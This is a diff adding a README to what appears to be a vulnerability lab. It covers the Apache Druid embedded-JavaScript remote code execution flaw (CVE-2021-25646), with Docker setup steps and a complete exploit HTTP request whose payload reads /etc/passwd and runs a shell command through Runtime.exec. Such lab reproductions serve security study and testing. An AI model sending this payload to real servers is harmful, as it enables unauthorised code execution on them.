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apache-druid/CVE-2021-25646/README.md

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+# Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache Druid is an open source, distributed data store that is designed for ingesting high volumes of data to provide instant data visibility, ad-hoc analytics and queries with low latency and high concurrency.
+
+Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.
+
+References:
+
+- <https://blogs.juniper.net/en-us/threat-research/cve-2021-25646-apache-druid-embedded-javascript-remote-code-execution>
+- <https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw>
+
+## Vulnerable Environment
+
+Execute following command to start an Apache Druid server 0.20.0:
+
+```
+docker compose up -d
+```
+
+After server is started, you can see the home page of Apache Druid on `http://your-ip:8888`.
+
+## Exploit
+
+Send this request to the server:
+
+```
+POST /druid/indexer/v1/sampler HTTP/1.1
+Host: your-ip:8888
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Type: application/json
+
+{
+    "type":"index",
+    "spec":{
+        "ioConfig":{
+            "type":"index",
+            "firehose":{
+                "type":"local",
+                "baseDir":"/etc",
+                "filter":"passwd"
+            }
+        },
+        "dataSchema":{
+            "dataSource":"test",
+            "parser":{
+                "parseSpec":{
+                "format":"javascript",
+                "timestampSpec":{
+
+                },
+                "dimensionsSpec":{
+
+                },
+                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
+                "":{
+                    "enabled":"true"
+                }
+                }
+            }
+        }
+    },
+    "samplerConfig":{
+        "numRows":10
+    }
+}
+```
+
+You will see the output of the `id` command:
+
+![](1.png)